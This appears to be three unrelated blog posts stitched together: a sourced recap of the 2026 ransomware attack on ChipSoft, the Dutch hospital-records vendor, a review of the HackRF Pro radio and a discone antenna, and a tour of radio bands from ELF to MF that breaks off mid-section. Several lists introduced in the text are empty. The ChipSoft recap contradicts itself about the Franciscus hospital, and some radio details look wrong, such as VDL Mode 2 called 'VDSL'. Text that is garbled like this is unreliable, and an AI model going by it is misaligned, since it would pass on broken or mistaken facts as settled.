On 7 April 2026, ChipSoft — the Dutch software company whose HiX platform stores patient records for roughly seven out of every ten Dutch hospitals — was hit by ransomware. The attackers, a group calling itself Embargo, claimed to have stolen 100 GB of patient data and threatened to publish it. Three weeks later, ChipSoft announced that the data had been destroyed; the company has not confirmed whether it paid a ransom. This post is a structured summary of what's in the public record, drawn from Z-CERT advisories, Dutch national news reporting, and the international security press.

This post is built entirely from publicly available reporting. There is no insider information here. Where claims are made they are sourced; where the public record is incomplete or contradictory, that’s noted explicitly. Things may look different a year from now when the forensic investigation completes and (if applicable) the data destruction is independently verified.

Background: who ChipSoft is, and why this matters

ChipSoft is a Dutch software company whose flagship product, HiX, is the dominant electronic health record (EHR) platform in the Netherlands. HiX is used by roughly 70% of Dutch hospitals to manage patient records and facilitate communication between healthcare providers and patients.

The HiX deployment landscape includes:

• HiX on-premise — the EHR running inside hospital networks, with ChipSoft providing software updates, support and remote access
• HiX SaaS — hospitals using a hosted version of HiX, where ChipSoft operates the infrastructure
• Zorgportaal / Zorgplatform / HiX Mobile / HAS Relay — patient-facing portals and inter-system bridges, all hosted by ChipSoft
• HIX365 — a specific patient-portal flavour where traffic to and from hospital records passes through ChipSoft’s servers, used by approximately 15 hospitals

The third category matters most for the data theft question. Hospitals running HiX entirely in-house (with ChipSoft only providing software, not hosting) had a fundamentally smaller exposure surface than hospitals using ChipSoft-hosted services.

Under the Dutch implementation of GDPR (the AVG), ChipSoft acts as the data processor while the hospitals serve as the data controllers — a distinction that becomes important when notification obligations to the Dutch Data Protection Authority (Autoriteit Persoonsgegevens, AP) are triggered.

Timeline

7 April 2026 — ChipSoft’s IT security team detects unauthorised access to its systems. The company’s website goes offline. ChipSoft circulates an internal memo to healthcare institutions warning of “possible unauthorised access” and recommending they disconnect from ChipSoft-hosted services as a precaution.

8 April 2026 — Multiple Dutch hospitals begin disabling their patient portals. Confirmed system outages are reported at Sint Jans Gasthuis in Weert, Laurentius in Roermond, VieCuri in Venlo, and the Flevo Hospital in Almere. ChipSoft pre-emptively disables connections to Zorgportaal, HiX Mobile, HAS Relay, and Zorgplatform.

9 April 2026 — Z-CERT, the Dutch CERT for the healthcare sector, formally confirms the incident is a ransomware attack. The advisory recommends that hospitals terminate connections to ChipSoft and audit traffic for indicators of compromise.

14–15 April 2026 — Dutch national broadcaster NOS reports that it cannot be ruled out that hackers gained access to data of some hospitals using ChipSoft’s HIX365 platform, where traffic to and from patient records runs through ChipSoft’s servers. Approximately 15 hospitals are in this category, including Franciscus Gasthuis (Rotterdam) and Albert Schweitzer Hospital (Dordrecht). ChipSoft advises affected hospitals to file data breach notifications with the AP.

Mid-to-late April 2026 — The ransomware operation Embargo publishes a post on its dark web leak site claiming responsibility and asserting it has stolen 100 GB of patient records. ChipSoft publicly confirms that medical personal data was stolen, having previously framed the incident as a “data incident” of uncertain scope.

28 April 2026 — ChipSoft announces that the stolen data has been destroyed and publication has been prevented, with technical verification by cybersecurity experts. The company does not confirm whether a ransom was paid; security and law enforcement officials in the Netherlands strongly discourage payment but it is not illegal.

Affected systems and the scope of the breach

The systems ChipSoft took offline as a precaution were:

The distinction between hospitals running HiX in-house and those using ChipSoft-hosted services determines the realistic data exposure. Several hospitals, including Rijnstate and Franciscus, reported that patient data remained secure because it was stored in isolated environments rather than on ChipSoft’s central infrastructure.

What was at risk for hospitals using the hosted services, according to the public reporting: names, addresses, Dutch national identification numbers (BSN), diagnoses, treatment histories, and insurance details. The 100 GB figure published by the Embargo group is the attackers’ claim; ChipSoft has not publicly confirmed the volume or specifics.

What’s known about the attack itself

Less than the public might want, more than is sometimes the case three weeks in.

Attribution. The attackers identify themselves as the Embargo ransomware group. Embargo is a comparatively newer operation in the Russian-speaking ransomware landscape, with a small but active leak site. The attribution is based on the group’s own claim of responsibility and dark web post.

Initial access vector. Not yet publicly disclosed. ChipSoft has stated that the forensic investigation is ongoing and that the technical specifics of how the attackers breached its defences remain under investigation. Z-CERT’s advisory does not name a specific CVE or exploitation chain.

Extent of data theft. Embargo claimed 100 GB. ChipSoft confirmed that data was stolen but did not specify the volume or scope. NL Times’ sources indicated that for HIX365 hospitals specifically, the attackers may have intercepted data in transit through ChipSoft’s servers — there is no indication that this actually happened, but it cannot be ruled out either.

Ransom payment. Officially unconfirmed. The fact that ChipSoft announced data destruction with “technical verification” three weeks after the incident, combined with there being no leak publication by Embargo, has been read by most commentators as strong circumstantial evidence that a payment was made. The company’s statement on this is deliberately worded to neither confirm nor deny.

The single-vendor problem

This is the structural story underneath the immediate incident. A single software vendor — one company with one platform — manages the patient records of roughly seven out of every ten hospitals in an entire country. When that vendor is compromised, the consequences ripple across the national healthcare infrastructure simultaneously.

Z-CERT’s response was the appropriate one for an incident of this category: tell hospitals to disconnect, audit traffic, and assume the worst about hosted services until proven otherwise. The fact that hospitals running HiX on-premise were largely insulated suggests that the architectural choice between hosted and self-hosted EHR is not just a procurement preference but a meaningful security boundary.

The broader question — whether national healthcare systems should have alternative EHR providers as a resilience strategy, and whether market dynamics actually permit that — is one for healthcare procurement policy, not security operations. But it is the question this incident raises most clearly.

What’s still open

• The initial access vector. Until that is published, it is difficult to assess whether this was an exploitation of a specific CVE, a credential compromise, a phishing-led intrusion, or something else.
• Independent verification of the data destruction claim. ChipSoft’s “technical verification by cybersecurity experts” is the company’s own statement; no independent third-party attestation has been published.
• The full list of hospitals whose patients are at risk of data exposure. Reporting has identified roughly 15 HIX365 hospitals plus the four with confirmed system outages, but the total exposed population is not yet publicly enumerated.
• Whether a ransom was paid, and if so, in what amount. This may not be disclosed.

The forensic investigation is ongoing. A more complete picture will likely emerge over the coming months as Z-CERT publishes its incident review and the AP completes its assessment of the various breach notifications it has received from affected hospitals.

Notes on this writeup

Everything above is built from public reporting — Z-CERT advisories, NL Times, NOS, Bleeping Computer, The Record, Cybernews, Techzine, and Security Affairs. There is no inside information here, and where the public record is unclear, that is noted explicitly rather than smoothed over. Healthcare cybersecurity reporting is unusually prone to speculation; I’ve tried to keep this on the side of what is documented.

If anyone reading this has authoritative information that corrects something stated here, the contact form on this site goes to a real inbox. Corrections are welcome.

The HackRF Pro shipped in late 2025. This is a write-up after a few months of use — what's actually better compared to the original One, what the Moonraker SkyScan Desktop antenna adds to the setup, and how both perform in practice for wideband monitoring work.

The HackRF One shipped in 2014. For a decade it remained largely unchanged — a few component substitutions, a revised RF switch here, a USB resistor change there — while everything around it evolved substantially. The HackRF Pro is what ten years of hindsight produces: the same basic architecture, the same software ecosystem, genuinely better hardware throughout. Great Scott Gadgets shipped the Pro in late 2025; this is a write-up after a few months of use.

I picked up mine from Elektor.nl alongside a Moonraker SkyScan Desktop as a primary wideband antenna. A record of both: what they do, how they work, where the Pro differs from the One, and what I’m planning to do with the combination.

HackRF Pro — full specification

The HackRF Pro is the next-generation open-source SDR from Great Scott Gadgets, featuring a 100 kHz to 6 GHz range, a built-in TCXO for high stability, and improved RF performance.

What every function does

Receiving (RX mode)

The Pro’s signal path from antenna to USB: RF in → PIN-Schottky limiter → RF switch → LNA (software-controlled gain) → mixer → IF filter → VGA (variable gain amplifier) → ADC → FPGA → USB.

Frequency tuning is controlled by the RF synthesiser, which sets the local oscillator frequency. The tuning range is 100 kHz to 6 GHz in continuous coverage — removing the need for down-converters for frequencies previously below the 1 MHz lower limit. In practice, performance below about 1 MHz is limited by the antenna and the fact that the RF front-end was designed for VHF and above, but for LF/MF monitoring (NDB beacons, AM broadcast, WSPR on 630m) it works without additional hardware.

Gain stages — the Pro exposes three separately controllable gain stages via software:

• lna_gain: RF LNA gain (0–40 dB in 8 dB steps)
• vga_gain: baseband VGA gain (0–62 dB in 2 dB steps)
• amp: the internal broadband RF pre-amplifier (0 or 14 dB, on/off)

Setting these correctly is the single most important thing for receiver performance. Too much gain and the ADC clips; too little and you’re noise-floor-limited. Start with amp=off, lna_gain=16, vga_gain=20 and adjust based on signal strength in the waterfall.

Bias tee — the SMA RF port can source DC power on the centre conductor for powering an external LNA. In addition to over-voltage protection provided by the diode, the bias tee on HackRF Pro features over-current protection. Enable via:

hackrf_transfer -b 1   # enable bias tee

or in GNU Radio via the osmosdr source block’s bias parameter. The Pro’s over-current protection means you won’t destroy the bias tee if your LNA has a wiring fault — a real improvement over the One.

Transmitting (TX mode)

TX reverses the signal path: USB → FPGA → DAC → VGA → mixer → RF switch → PA → SMA out.

TX gain is set via txvga_gain (0–47 dB in 1 dB steps). The PA provides additional fixed gain. Maximum output power is approximately +10 dBm (10 mW) at most frequencies, tapering off at the high end of the band.

The Pro, like the One, is half-duplex: you’re either transmitting or receiving at any given moment. There is no simultaneous TX/RX. This is an architectural constraint of the design and unchanged in the Pro.

Transmit disable — it is possible to hardware-disable transmit mode by cutting one trace on the PCB, a feature added with classroom use in mind. If you’re deploying a Pro in an environment where accidental transmission would be a problem, this is a permanent hardware solution.

Standalone operation

The HackRF One supported standalone operation via PortaPack, a third-party add-on that provides a display and controls. The Pro maintains compatibility with most PortaPack units while adding expanded capabilities for custom firmware.

Clocking — TCXO and external clock I/O

The most significant quality-of-life improvement over the One: a built-in TCXO crystal oscillator for exceptional timing stability.

The HackRF One used a plain crystal oscillator. Frequency accuracy was typically ±20–50 ppm depending on temperature — enough to affect reception of narrow-band signals and make precise frequency measurements meaningless without correction. Adding a TCXO (via the Nooelec module or similar) required modifying the board and meant losing the plastic enclosure.

The Pro includes a TCXO on-board. Typical stability is sub-±1 ppm across the operating temperature range. This matters for:

• Receiving narrow-band signals without constant frequency offset correction
• Precise frequency measurement and calibration
• Phase-coherent applications where frequency drift causes problems
• GPS reception on L1/L2 where timing precision is critical

The SMA clock I/O ports (external reference in, reference out) are retained from the One’s design, allowing daisy-chaining of multiple units to a common reference oscillator for coherent multi-channel operation — this is still the route for multi-antenna work, as the Pro remains a single-channel device.

FPGA — what changed from CPLD

The One used a CPLD (Complex Programmable Logic Device) for glue logic. The move to an FPGA provides better power efficiency than the original CPLD-based design.

More importantly, the FPGA enables things the CPLD couldn’t:

• Internal 40 MS/s operation with decimation to 20 MS/s for the USB link
• 16-bit extended precision mode: at lower USB sample rates HackRF Pro supports an extended-precision mode with 16-bit samples and an effective number of bits (ENOB) of 9 to 11, depending on the sample rate.
• 4-bit half-precision mode: up to 40 MS/s over USB, trading dynamic range for throughput
• More headroom for custom firmware and signal processing offloaded from the host

In practice for most users: the FPGA is why the DC spike is gone (it’s suppressed in the digital domain), why the frequency response is flatter, and why extended precision mode exists.

Extended precision mode (16-bit)

This is the feature with the most immediate practical use. At lower sample rates — 1–4 MS/s — the FPGA performs noise-shaping and oversampling to deliver 9–11 effective bits of ADC resolution instead of 8.

What 2–3 extra bits means: 12–18 dB of additional dynamic range. Weak signals that would be buried in quantisation noise at 8-bit become resolvable. This is directly useful for:

• HF/VHF weak signal work (SSB, CW, WSPR, amateur weak-signal modes)
• Receiving satellite signals at low sample rates where a narrow channel is sufficient
• Any application where you’re willing to trade bandwidth for sensitivity

To enable in software (once the migration guide is published — check hackrf.readthedocs.io):

# Via hackrf_transfer
hackrf_transfer -r output.iq -f 14100000 -s 1000000 -n 10000000 --16bit

# In GNU Radio: osmosdr source, set sample rate ≤ 4e6, enable 16-bit mode

RF protection — the limiter circuit

The One’s RF port was fragile. Connecting it to a transmitting antenna, a nearby strong signal, or a static-charged whip could kill the front-end amplifier. Many One owners have gone through multiple boards.

The RF port is also protected from high RF power by a PIN-Schottky limiter. This clamps high-power RF transients before they reach the LNA. It’s not protection against deliberately connecting the output of a transmitter to the RF port — don’t do that — but it handles the incidental exposure that destroyed so many One boards: connecting while a signal source is active, proximity to transmitting equipment, and static discharge.

Noise figure and sensitivity — measured improvements

The measurements show a solid improvement across almost the whole tuning range, with significant improvement at higher frequencies. In a real-world ADS-B test, the HackRF Pro generally got around 15 to 50 km extra maximum range, and received double the number of valid messages.

The practical import: for any receive application, the Pro is measurably better than the One. The improvement is most pronounced at higher frequencies (above 2 GHz) where the One’s performance fell off significantly.

The Moonraker SkyScan Desktop

Bought from CBShop.nl as the desktop antenna for the Pro. Full specs:

Type: Discone style desktop receiving antenna. Frequency RX: 25–2000 MHz. Base: Heavy duty 125mm magnetic plate for stability or stationary vehicle use. Length: 700mm. Cable: 4m RG58 mil spec coax. Connection: BNC male plug fitted.

How the discone design works

A discone antenna is geometrically defined by a disc on top and a cone below. The disc and cone dimensions determine the low-frequency cutoff; the discone is naturally broadband from that cutoff upward, theoretically to infinity (practically limited by construction tolerances and feedpoint matching at very high frequencies).

The SkyScan Desktop uses a miniaturised discone geometry: 4 x 8 cm and 8 x 29.5 cm radials forming the cone elements, with the vertical element forming the disc equivalent. This geometry gives the 25 MHz lower cutoff. Above that, it’s essentially flat in gain — approximately 0 dBi omnidirectional across the whole band, with no deep nulls except directly overhead and directly below.

The gain is modest by design. A discone trades gain for bandwidth; it has less gain than a resonant dipole or yagi at any specific frequency, but it doesn’t require retuning and doesn’t have frequency gaps. For a wideband monitoring application — which is exactly what the HackRF Pro is used for — this is the right tradeoff.

Connecting to the HackRF Pro

The SkyScan ships with a BNC male connector. The HackRF Pro has an SMA female RF port. You need a BNC female to SMA male adapter — these cost under £2 and should be in any SDR kit. Keep it short and use a quality adapter; a lossy adapter at this point in the signal chain adds noise figure before the LNA can compensate.

Performance observations

On the bench with the Pro, the SkyScan is a clean, quiet antenna indoors with good coverage from VHF up. Notable observations:

• VHF/UHF (100 MHz – 600 MHz): excellent. Aircraft VHF (118–137 MHz), FM broadcast, 433 MHz ISM, 2-metre ham band all received with good SNR with no preamp.
• Above 600 MHz (ADS-B at 1090 MHz, L-band): works well, some gain loss compared to a resonant antenna for the specific frequency, but the broad coverage is the point.
• Below 100 MHz (HF/MF, down to 25 MHz): the antenna becomes less efficient as you approach the low-frequency cutoff. For serious HF work below 50 MHz, a longer wire or a dedicated HF antenna will outperform it. For casual monitoring and occasional use it’s acceptable.
• Indoors: the magnetic base is useful. Placed on a metal filing cabinet near a window it works significantly better than on a wooden desk — the metal provides the ground plane the discone expects.
• DC spike: gone on the Pro. On the One, the DC spike in the centre of the waterfall was a constant presence. On the Pro, the centre of any capture is clean.

The RG58 cable introduces some loss — roughly 0.5 dB/metre at 500 MHz, so 2 dB over the 4m run at that frequency. For most monitoring this is acceptable; if you’re trying to maximise range for a specific application, a shorter LMR-240 run would help. For a desktop setup with the antenna near the computer, the 4m is fine.

HackRF Pro project list

These are planned projects specifically exploiting the Pro’s capabilities beyond what the One could do — the extended frequency range, the TCXO stability, the 16-bit mode, and the improved noise figure.

1. Long-wave and medium-wave beacon monitoring (100 kHz – 2 MHz)

Why the Pro: the One’s 1 MHz lower limit put LF completely out of reach and the lower end of MF out of comfortable reach. The Pro starts at 100 kHz.
What: receive NDB (Non-Directional Beacon) stations on LF/MF using the 16-bit extended precision mode for maximum dynamic range. Map received beacons, decode callsign Morse identifiers, correlate with published NDB databases. The SkyScan Desktop’s 25 MHz cutoff means I’ll need a longer wire antenna for this frequency range — a 10m wire run along a windowsill will do for a start.
Tools: GNU Radio + custom LF decoder, 16-bit mode, Python for beacon ID

2. HF WSPR reception with TCXO-stable frequency measurement

Why the Pro: WSPR (Weak Signal Propagation Reporter) operates on narrow sub-bands (e.g., 14.0956–14.0974 MHz) with signals transmitted at ±1.4 Hz accuracy. The One’s ±50 ppm drift (±700 Hz at 14 MHz) made WSPR decoding unreliable without constant calibration. The Pro’s TCXO holds within ~1 ppm.
What: set up a persistent WSPR monitoring station on 20m/40m/80m, feeding spots to wsprnet.org. Measure actual frequency accuracy against GPS-disciplined reference to characterise the TCXO’s real-world stability across temperature.
Tools: WSJT-X via virtual audio, GNU Radio 16-bit mode for the HF chain

3. Aircraft ACARS and VDL Mode 2 decoding

Why the Pro: the improved noise figure means more aircraft heard at range, particularly VDL Mode 2 which is narrowband VDSL on 136.9 MHz and benefits from cleaner reception.
What: simultaneous passive monitoring of ACARS (131.725 MHz AM) and VDL Mode 2 (136.9 MHz), decoding and logging all messages. Compare against ADS-B position data to correlate aircraft identity with text messages. Feed to acarsmap or similar visualisation.
Tools: acarsdec, vdlm2dec, GNU Radio IQ recording, Python for message correlation

4. L-band satellite monitoring (1.5–1.6 GHz) with the SkyScan

Why the Pro: the improved high-frequency noise figure and the Pro’s better performance above 1 GHz make L-band reception meaningfully easier.
What: receive L-band AERO (Inmarsat aeronautical data on ~1.545 GHz) and L-band STD-C (Inmarsat maritime messaging). The Inmarsat satellites broadcast weather faxes, maritime safety messages, and aeronautical ACARS — all in the clear. The SkyScan Desktop’s coverage extends to 2 GHz so no antenna change needed; pointing it toward the Inmarsat geostationary satellite position with a clear view of the sky helps.
Tools: gr-iridium (for Iridium), JAERO (for Inmarsat ACARS), GNU Radio, SkyScan + optional helical patch for better L-band gain

5. ISM 868 MHz LoRa passive monitoring (16-bit precision)

Why the Pro: the 16-bit extended precision mode at reduced sample rates improves weak-node detection in LoRaWAN deployments that use SF12.
What: persistent 868 MHz LoRaWAN monitoring at 1 MS/s in 16-bit mode. Characterise the dynamic range improvement: compare the number of frames decoded at 8-bit vs 16-bit across a week of captures. Build a receiver sensitivity model from the results.
Tools: gr-lora, Python logging pipeline, SQLite, 16-bit mode comparison script

6. GPS signal structure analysis (1.575 GHz L1)

Why the Pro: the TCXO provides the timing stability needed to coherently integrate GPS C/A code without clock drift destroying the correlation, and the 6 GHz range covers both L1 (1575.42 MHz) and L2 (1227.60 MHz).
What: receive and analyse the structure of GPS L1 C/A signals — not to navigate (the HackRF can’t do real-time navigation; insufficient ADC precision and compute), but to study the PRN code structure, measure Doppler shift across a satellite pass, and demonstrate the correlation process that underlies GPS. A disciplined academic exercise in understanding how GNSS actually works at the signal level.
Tools: GNSS-SDR in post-processing mode, GNU Radio IQ capture, Python correlation visualisation

7. TETRA downlink monitoring (380–400 MHz EU public safety band)

Why the Pro: better noise figure improves decoding reliability on the TETRA channels used by emergency services, which are often weaker in urban areas due to directional base station antennas.
What: passive monitoring of TETRA infrastructure channels — base station identifiers, cell configuration broadcasts, and unencrypted control plane traffic. TETRA voice traffic is typically encrypted; the control plane metadata (BTS IDs, cell configurations, timing parameters) is not, and provides a view of the network topology without touching any content.
Tools: telive, gr-osmocom, osmo-tetra, SkyScan Desktop on a UHF-resonant extension (quarter-wave at 390 MHz ≈ 192 mm)

8. Wideband spectrum survey and anomaly detection pipeline

Why the Pro: the combination of improved noise figure, TCXO stability for repeatable measurements, and 16-bit mode for improved dynamic range makes the Pro a better survey instrument than the One.
What: automated wideband power spectral density measurement across the 25–2000 MHz range (SkyScan coverage) at regular intervals. Store to time-series database (InfluxDB). Alert on new persistent signals above threshold that weren’t present in baseline. This is passive RF spectrum monitoring for change detection — useful for noticing new transmitters in the environment and tracking the rise and fall of different signal types over days/weeks.
Tools: rtl_power adapted for HackRF Pro, InfluxDB, Grafana for visualisation, Python alerting pipeline

9. FM broadcast subcarrier and RDS deep monitoring

Why the Pro: the 16-bit mode at low sample rates gives significantly better dynamic range for demodulating the 57 kHz RDS subcarrier and the 38 kHz stereo pilot, both of which are weak relative to the main carrier and benefit from reduced quantisation noise.
What: log all RDS data from local FM stations continuously: RadioText, Programme Service name, Traffic Announcements, Alternative Frequencies, Enhanced Other Networks. Build a database of transmission patterns over months. A surprisingly revealing view of broadcasting infrastructure and scheduling.
Tools: redsea, GNU Radio FM receiver, Python logging, SkyScan Desktop

10. Characterising the SkyScan Desktop — measured antenna factor across band

Why the Pro: the TCXO makes the Pro a reasonable measurement instrument for relative power comparisons. By connecting a calibrated signal source at known power levels across the 25–2000 MHz band and recording the Pro’s reported power, we can derive an approximate antenna factor (AF) for the SkyScan — the correction factor that converts received voltage to field strength.
What: step through 25–2000 MHz in 25 MHz increments using a signal generator, measure power at the Pro with and without the SkyScan, plot the resulting correction curve. Not a substitute for a calibrated anechoic chamber measurement, but good enough to make quantitative comparisons between different antenna configurations for future projects.
Tools: signal generator, GNU Radio power measurement, Python curve fitting, matplotlib

Practical notes for getting started

Firmware: before anything else, update to the latest firmware. The Pro shipped with firmware that may predate some extended-precision mode support:

hackrf_info            # check current firmware version
# Download latest from github.com/greatscottgadgets/hackrf/releases
hackrf_spiflash --write hackrf_one_usb.bin

Driver: the Pro uses the same libhackrf driver as the One. If you have the One working, the Pro works in the same software without reinstallation. hackrf_info will report it as a distinct device type.

SMA adapter for the SkyScan: BNC female → SMA male, 50Ω, silver or gold contacts. Keep it tight — a loose adapter introduces measurable noise.

Gain settings starting point:

• Strong local signals (FM broadcast, airport ATC): amp=off, lna=8, vga=16
• Medium signals (ISM 433, ADS-B): amp=off, lna=24, vga=28
• Weak signals (satellites, far ADS-B): amp=on, lna=32, vga=32
• Monitor the waterfall top end — if you see gain compression artefacts, reduce gain

16-bit mode: requires a sample rate of 4 MS/s or less to activate. At 2 MS/s you’re in the sweet spot for ENOB performance. At 1 MS/s you get the best ENOB (9–11 bits effective) but only 1 MHz of instantaneous bandwidth. For HF monitoring where signals are typically tens of kHz wide, 1 MS/s and 16-bit mode is a strong combination.

The Pro is a genuine upgrade. Not a revolutionary redesign — the architecture is the same and the same software runs on it unchanged — but a decade of improvements consolidated into a single platform. The noise figure improvements alone justify the step up from the One if you do any serious receive work above 1 GHz, and the TCXO makes the Pro useful as a precision frequency reference in a way the One never was.

A run through the entire radio spectrum from 3 Hz to 300 GHz — what each band is, how signals propagate in it, what's actually on the air, and what you can receive with cheap hardware. ELF submarine communications at the bottom, millimetre-wave 5G at the top, everything in between.

The radio frequency spectrum runs from 3 Hz — wavelength 100,000 km, roughly a quarter of the way to the Moon — up to 300 GHz where millimetre waves start becoming infrared. Eleven ITU bands. Each one has completely different propagation physics, different signals, different antenna requirements. This is a run through all of them.

The figure below covers the full range on a log scale — each decade takes the same horizontal space, so ELF and SHF get equal room even though one is measured in hertz and the other in gigahertz.

ELF — Extremely Low Frequency (3–30 Hz, λ = 10,000–100,000 km)

At 3 Hz, one complete cycle of the electromagnetic wave takes a third of a second. The wavelength — the physical distance the wave travels in one cycle — is 100,000 km. There is no practical antenna that could be resonant at this frequency; even a quarter-wave monopole would require a 25,000 km element. ELF engineering is not about resonance. It’s about brute-force coupling into the Earth-ionosphere waveguide.

The Schumann resonance cavity

The gap between the Earth’s surface and the lower ionosphere (approximately 60–90 km altitude) forms a resonant electromagnetic cavity. Lightning discharges — there are approximately 100 per second globally — excite standing waves in this cavity at specific frequencies determined by the cavity’s dimensions.

The observed Schumann resonances are:

The discrepancy between theoretical and observed values is significant. The ideal formula assumes a perfectly conducting sphere; the real Earth-ionosphere system has finite conductivity, irregular geometry, and spatial variations in ionospheric height. The fundamental observed at 7.83 Hz is well-established and remarkably stable — it serves as a long-term proxy for global lightning activity and has been proposed as an indicator of global temperature change (tropical convective activity drives both).

These resonances are receivable with a simple loop antenna and a low-noise preamplifier. No transmitter required — the global lightning discharge network generates them continuously.

Submarine communications

ELF is the only part of the radio spectrum that penetrates seawater to meaningful depths. Seawater is a conductor with conductivity of approximately 4 S/m. RF penetration depth (skin depth) is:

δ = √(2 / (ω × μ × σ))

where ω = 2πf, μ = 4π × 10⁻⁷ H/m (permeability), σ = conductivity (S/m)

At 76 Hz:  δ = √(2 / (477.5 × 4π×10⁻⁷ × 4)) ≈ 29 m
At 10 kHz: δ ≈ 2.5 m

At 76 Hz the skin depth is approximately 29 metres — submarines at operating depth of 200+ metres see attenuated but receivable signals. At 10 kHz (VLF) the skin depth is only 2.5 metres; a submarine must come close to the surface to receive.

The US Navy operated two transmitter sites under Project ELF (decommissioned 2004): Clam Lake, Wisconsin and Republic, Michigan. Both operated at the same frequency — 76 Hz — and were connected to function as a single antenna system approximately 84 km in baseline length, using buried ground cables and Earth itself as the conductor. Combined transmitter power was approximately 2.6 MW. The resulting effective radiated power was sufficient to communicate globally with submerged submarines. The data rate was extremely low — typically 1–3 bits per minute — making ELF suitable only for short command codes (“come to periscope depth to receive full message”).

Russia’s ZEVS system, believed to operate from the Kola Peninsula, is reportedly still active. Its operating frequency has been cited variously as 82 Hz in open-source literature, though this figure is difficult to confirm independently. Reception has been reported globally.

SDR accessibility: ELF is not receivable with any conventional SDR — the sampling rates are overkill by orders of magnitude and the antenna sizes required are non-trivial. Purpose-built ELF receivers use large inductive loop antennas (tens to hundreds of metres diameter) or Earth electrodes.

SLF — Super Low Frequency (30–300 Hz, λ = 1,000–10,000 km)

SLF occupies the upper range of practical submarine communication frequencies. The physics is similar to ELF: Earth-ionosphere waveguide propagation with global coverage, good seawater penetration, terrible data rates.

Natural sources in SLF include the upper Schumann harmonics and power line interference — 50 Hz (EU) and 60 Hz (US) mains and their harmonics dominate the SLF spectrum in any populated area. Monitoring SLF usefully requires shielding from mains interference and a location far from power lines and industrial machinery.

ULF — Ultra Low Frequency (300 Hz–3 kHz, λ = 100–1,000 km)

ULF occupies an awkward space. Too high for Earth-ionosphere waveguide propagation to be as efficient as ELF/SLF; too low for most established applications. Notable uses:

Mine communications: ULF penetrates rock significantly better than higher frequencies. Several systems for communicating with trapped miners use ULF, where the rock mass above acts as the attenuating medium rather than seawater.

Magnetotellurics: Geophysical measurement technique that uses natural ULF electromagnetic fields (sourced from ionospheric currents and distant lightning) to map subsurface conductivity. By measuring the ratio of the horizontal electric and magnetic field components at the surface as a function of frequency, the depth-conductivity profile of the crust can be reconstructed.

Natural sources: The transition from lightning-generated Schumann modes to ionospheric micropulsations (Pc1–Pc3, 0.1–1 Hz; Pc3–Pc5 in ULF proper) occurs in this range. Magnetospheric cavity modes and geomagnetic micropulsations are ULF phenomena relevant to space weather research.

VLF — Very Low Frequency (3–30 kHz, λ = 10–100 km)

VLF is the lowest band with substantial conventional transmitter infrastructure. Long wavelengths and low absorption make VLF signals propagate globally within the Earth-ionosphere waveguide with remarkably low path loss — attenuation of approximately 2–3 dB per 1,000 km daytime, somewhat higher at night due to ionospheric height changes.

VLF navigation and time signals

Before GPS, VLF was the primary medium for long-range radio navigation.

OMEGA navigation system (10.2, 13.6, 11.3 kHz): Operated 1968–1997. Eight transmitters worldwide providing hyperbolic navigation with approximately 2 km accuracy globally. Decommissioned when GPS provided superior accuracy at lower operational cost.

LORAN-C (100 kHz, strictly LF but historically grouped with VLF navigation): Chain-based hyperbolic navigation, still used by some maritime and aviation applications via eLORAN.

Military VLF transmitters

The primary remaining VLF infrastructure is military submarine communication networks:

These stations are receivable across multiple continents with a simple ferrite rod antenna. Their phase-stable continuous wave transmissions are used by submarines to synchronise clocks and receive brief command messages.

VLF time signals — JXN: The Norwegian station JXN (16.4 kHz) transmits MSK-modulated time information coordinated with UTC.

Alpha navigation system (Russia): Three stations transmitting at 11.9, 12.6, and 14.9 kHz, the Russian successor to OMEGA, still operational.

VLF propagation physics

VLF propagates in the Earth-ionosphere waveguide. The waveguide is bounded below by the conducting Earth surface and above by the D-layer of the ionosphere (60–90 km altitude), which is sufficiently conducting at VLF to act as a reflector. Attenuation is low — 2–3 dB/1,000 km — enabling global coverage from a single high-power transmitter.

The waveguide cut-off frequency is approximately 1.8 kHz; below this the waveguide supports only the TM₀₀ mode (quasi-TEM). Above the cut-off, multiple modes propagate, causing modal interference that produces characteristic multi-path fading at ranges of a few thousand kilometres.

Day/night transitions cause predictable phase shifts in received VLF signals as the ionosphere changes height, which can be used for monitoring ionospheric disturbances, solar X-ray events, and lightning-induced electron precipitation.

SDR accessibility: VLF is receivable with an upconverter and any SDR, or directly with a sound card at the PC line input and a long wire antenna. Typical RTL-SDR V3 receives down to ~500 kHz directly; below this, a simple passive upconverter (mixer + local oscillator at 125 kHz, for example) shifts VLF into the receivable range. Purpose-built VLF receivers use large untuned loop antennas.

LF — Low Frequency (30–300 kHz, λ = 1–10 km)

LF is the band of terrestrial radio navigation, time signals, and the lower edge of conventional AM broadcasting. Ground wave propagation dominates — the signal follows the Earth’s surface, extending the effective range well beyond the visual horizon.

Time and frequency standards

LF carries several of the world’s primary time signal broadcasts, all phase-locked to national timescales:

DCF77 (77.5 kHz, 50 kW, Mainflingen, Germany) is the primary European time reference. It transmits a 1 Hz amplitude-keyed time code plus a phase-modulated 512 bps carrier that contains redundant time information. The signal is receivable across central Europe with a small ferrite rod antenna — it drives the radio-controlled clocks in most European households.

NAVTEX and maritime MF/LF

NAVTEX (Navigational Telex) transmits maritime safety information including weather forecasts, navigational warnings, and search-and-rescue notices. While the international NAVTEX frequency (518 kHz) is in the MF band, some national NAVTEX services operate in LF. The system uses SITOR-B (an ARQ/FEC teleprinter protocol) and is freely receivable with a multi-mode decoder.

Non-Directional Beacons (NDBs)

NDBs transmit an unmodulated (or carrier + tone) continuous wave on frequencies from approximately 190 kHz to 1,750 kHz, used by aircraft for ADF (Automatic Direction Finding) navigation. An ADF receiver points toward the transmitter; a flight following two NDBs can determine position by triangulation. NDBs are being decommissioned across Europe and North America as GPS makes them redundant, but many remain on-air. The identifier is transmitted as Morse code.

SDR accessibility: LF is within the direct reception range of the RTL-SDR V3 (which receives down to approximately 500 kHz natively; below this an upconverter is required). A HackRF or SDRplay covers the full LF band. A long wire antenna of 10+ metres significantly improves reception.

MF — Medium Frequency (300 kHz–3 MHz, λ = 100 m–1 km)

MF is the band of medium-wave AM broadcasting, maritime radio, and the upper edge of navigation beacons. Ground wave propagation dominates during the day; at night the ionospheric D-layer disappears and sky wave propagation allows signals to propagate much further — the night-time “skip” effect familiar to anyone who has tuned a medium-wave radio and found stations from hundreds of kilometres away that are silent during the day.

AM broadcasting

EU medium-wave band: 531–1,611 kHz (9 kHz channel spacing). The AM broadcasting infrastructure in Europe has been substantially reduced since DAB+ and internet streaming became dominant, but the band remains active. Ground wave range for a typical 10 kW transmitter is 100–400 km depending on soil conductivity; sky wave range at night can exceed 2,000 km.

Maritime communications

